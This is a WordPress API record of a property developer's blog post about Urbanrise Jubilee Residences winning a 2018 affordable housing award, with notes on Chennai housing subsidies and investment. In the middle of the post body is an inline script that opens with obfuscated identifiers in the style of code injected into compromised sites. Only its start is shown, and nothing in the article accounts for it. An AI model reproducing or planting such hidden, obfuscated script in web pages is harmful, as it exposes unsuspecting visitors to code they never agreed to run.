{"id":236,"date":"2021-02-17T11:05:16","date_gmt":"2021-02-17T11:05:16","guid":{"rendered":"https:\/\/siruseriapartments.com\/urbanrise\/?p=236"},"modified":"2023-08-28T09:08:19","modified_gmt":"2023-08-28T09:08:19","slug":"urbanrise-jubilee-residences-is-awarded-as-best-affordable-housing-project-of-2018","status":"publish","type":"post","link":"https:\/\/www.urbanrise.in\/wp_version\/urbanrise-jubilee-residences-is-awarded-as-best-affordable-housing-project-of-2018\/","title":{"rendered":"Urbanrise Jubilee Residences is awarded as best affordable housing project of 2018"},"content":{"rendered":"<p>\u201cUrbanrise Jubilee Residences\u201d\u00a0was honoured as the \u201cBest Affordable Housing Project of the year 2018\u201d\u00a0by Tamil Nadu\u00a0Real Estate Consultants Association (RECON) during the recently concluded annual conference. Affordable Housing took center-stage in this meet\u2019s focus (held on Feb 4<sup>th<\/sup>, 2019) at the TAJ Coromandel.\u00a0Urbanrise is a brand of the Alliance Group, a successful and leading real-estate developer in the Chennai market over the last 14 years.<\/p>\n<p>Chennai has long been a flag bearer for the affordable housing market in India, registering a trend leading up to 2019 and beyond. These are homes that are priced below the usual Rs. 40 lacs ticket price for a home, whereas most of the current overhang inventory is for homes priced between Rs. 50 lac \u2013 Rs. 1.5 cr.<\/p>\n<p>A great push for this segment of housing was brought on by the recent central government policy decisions that reflected in GST based incentives as well as the Pradhan Mantri Awas Yojana (PMAY) \u2013 a one-time upfront subsidy up to Rs. 2.67 lacs, and Bank Lending credits (for first time how buyers in designated Urban areas)<\/p>\n<p>While Private Equity investors are betting high on the Affordable Housing market with over Rs. 576 Million investments on this segment in 2018 \u2013 which translates to a 15% YoY increase.<\/p>\n<p>Of the 3 Panel discussions held, the first one on Affordable Housing is what held the most interest amongst the participants.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return 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honoured as the \u201cBest Affordable Housing Project of the year 2018\u201d\u00a0by Tamil Nadu\u00a0Real Estate Consultants Association (RECON) during [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":242,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","footnotes":""},"categories":[6],"tags":[],"class_list":["post-236","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.7 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Urbanrise Jubilee Residences is awarded as best affordable housing project of 2018<\/title>\n<meta name=\"description\" content=\"Urbanrise Jubilee Residences honored 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